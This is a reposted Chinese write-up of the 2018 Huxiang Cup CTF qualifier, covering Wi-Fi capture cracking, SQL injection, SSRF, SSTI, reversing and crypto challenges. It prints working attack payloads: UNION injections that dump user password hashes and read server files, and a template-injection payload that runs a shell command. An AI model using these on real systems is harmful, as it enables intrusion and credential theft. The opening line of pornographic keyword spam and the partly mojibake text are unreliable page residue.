日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程资源 > 编程问答 >内容正文

编程问答

2018湖湘杯海选复赛Writeup

發(fā)布時(shí)間:2023/11/27 编程问答 53 豆豆
生活随笔 收集整理的這篇文章主要介紹了 2018湖湘杯海选复赛Writeup 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

2018湖湘杯Writeup

  • 0x01 簽到題
  • 0x02 MISC Flow
  • 0x03 WEB Code Check
  • 0x04 WEB Readflag
  • 0x05 WEB XmeO
  • 0x06 Reverse Replace
  • 0x07 MISC Disk
  • 0x08 Crypto Common Crypto
  • 0x09 Reverse HighwayHash64
  • 0x10 Web Mynot

0x01 簽到題

關(guān)注合天智匯公眾號(hào),回復(fù)hxb2018得到flag。

0x02 MISC Flow

解題思路、相關(guān)代碼和Flag截圖:
下載流量包后使用Wireshark打開發(fā)現(xiàn)是無(wú)線數(shù)據(jù)包:

aircrack-ng ctf.pcap
aircrack-ng ctf.pcap -w password-top1000.txt
airdecap-ng ctf.pcap -e ctf -p password1

使用Wireshark分析ctf-dec.pacp

0x03 WEB Code Check

解題思路、相關(guān)代碼和Flag截圖:
查看http://39.108.176.234:49882/news/路徑發(fā)現(xiàn)源代碼:通過(guò)分析寫出加密腳本:

from Crypto.Cipher import AES
import base64
def encrypt(context):cryptor = AES.new('ydhaqPQnexoaDuW3',AES.MODE_CBC,'2018201920202021')context = context + 'hxb2018'if (len(context)%16 != 0 ):add = 16 - (len(context) % 16)else:add = 0context = context + ('\0' * add)return base64.b64encode(base64.b64encode(cryptor.encrypt(context)))
while True:test = str(raw_input("please input:"))print encrypt(test)

最后通過(guò)sql得到flag:

-1 union select 1,load_file('/var/www/flag.php'),3,4 -- 
-1 union select 1,load_file('/var/www/flag.php'),3,4 -- 
union select 1,group_concat(schema_name),3 from information_schema.schemata
-1 union select 1,2,version(),4 --
-1 union select 1,group_concat(schema_name),3,4 from information_schema.schemata -- 
mozhe_discuz_stormgroup
-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_discuz_stormgroup' --
notice,notice2,stormgroup_member
-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='stormgroup_member' --
id,name,password,status
-1 union select 1,name,password,4 from stormgroup_member where id=1 --
mozhe1
356f589a7df439f6f744ff19bb8092c0
-1 union select 1,name,password,4 from stormgroup_member where id=2 --
-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='notice' --
id,title,content,time
-1 union select 1,id,title,4 from notice2 where id=1 --
-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='notice2' --

0x04 WEB Readflag

解題思路、相關(guān)代碼和Flag截圖:
打開之后題目提示使用url-ssrf:
測(cè)試發(fā)現(xiàn)存在web.php:

根據(jù)提示存在readflag。但是訪問(wèn)是亂碼,猜測(cè)使用c語(yǔ)言編譯后的,訪問(wèn)readflag.c

發(fā)現(xiàn)該程序讀取的是flag文件,訪問(wèn)得到flag:

0x05 WEB XmeO

解題思路、相關(guān)代碼和Flag截圖:
提交payload:{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen('grep -nir hxb2018').read()}}

ssti服務(wù)器端模版注入獲得flag。

0x06 Reverse Replace

解題思路、相關(guān)代碼和Flag截圖:
逆向程序邏輯

test1 = "637c777bf36b6fc53001672bfed7ab76ca82c97dfa5947f0add4a2af9ca472c0b7fd9326363ff7cc34a5e5f171d8311504c723c31896059a071280e2eb27b27509832c1a1b6e5aa0523bd6b329e32f8453d100ed20fcb15b6acbbe394a4c58cfd0efaafb434d338545f9027f503c9fa851a3408f929d38f5bcb6da2110fff3d2cd0c13ec5f974417c4a77e3d645d197360814fdc222a908846eeb814de5e0bdbe0323a0a4906245cc2d3ac629195e479e7c8376d8dd54ea96c56f4ea657aae08ba78252e1ca6b4c6e8dd741f4bbd8b8a703eb5664803f60e613557b986c11d9ee1f8981169d98e949b1e87e9ce5528df8ca1890dbfe6426841992d0fb054bb1648".decode('hex')test2 = '3350ef85212045c78fcfedf93c51504dcf004d51c7effbc3cf6e9ffb0443c3ff'.decode('hex')for tet in test2:if tet in test1:print(chr(test1.index(tet))),

獲得flag:

0x07 MISC Disk

解題思路、相關(guān)代碼和Flag截圖:

搜索flag發(fā)現(xiàn)如上:

將這些十六進(jìn)制當(dāng)作二進(jìn)制拼接起來(lái)即可得到flag:
0110011001101100011000010110011101111011001101000100010001010011010111110011000101101110010111110100010000110001011100110110101101111101
得到:flag{4DS_1n_D1sk}

0x08 Crypto Common Crypto

解題思路、相關(guān)代碼和Flag截圖:
通過(guò)分析可以得到這個(gè)程序是用aes加密了一部分flag。以下是AES S盒:

AES密鑰

編寫腳本解密:

from Crypto.Cipher import AES
key = '\x1b\x2e\x35\x46\x58\x6e\x72\x86\x9b\xa7\xb5\xc8\xd9\xef\xff\x0c'
ciphertext = raw_input('please input ciphertext:').decode('hex')
decodesys = AES.new(key)
print decodesys.decrypt(ciphertext)[:16] + ciphertext[-16:] + '}'

0x09 Reverse HighwayHash64

解題思路、相關(guān)代碼和Flag截圖:


修改一下HighwayHashReset函數(shù)

是用腳本解密:

   while (1){mstest(buffer, 0, 1024);sprintf(buffer, "%0.10lld", count);ret = HighwayHash64(buffer, 10, key);if (0x1CCB25A666AC646B == ret){printf("flag this= %s\n", buffer);break;}if (count % 10000000 == 0){printf("now testing = %s\n", buffer);}count ++;}

flag:hxb2018{3205649871}

0x10 Web Mynot

解題思路、相關(guān)代碼和Flag截圖:
首先上傳一個(gè)圖片。發(fā)現(xiàn)cookie中存在反序列化字段。


修改cookie中的picture。

base64解密之后:<?php
$flag = “hxb2018{b05c25bb0431166321eed47ebf968b89}”;
echo “flag{This_flag_iS_A_F4ke_flag}”;

得到flag:hxb2018{b05c25bb0431166321eed47ebf968b89}

總結(jié)

以上是生活随笔為你收集整理的2018湖湘杯海选复赛Writeup的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。

歡迎分享!

轉(zhuǎn)載請(qǐng)說(shuō)明來(lái)源于"生活随笔",并保留原作者的名字。

本文地址:2018湖湘杯海选复赛Writeup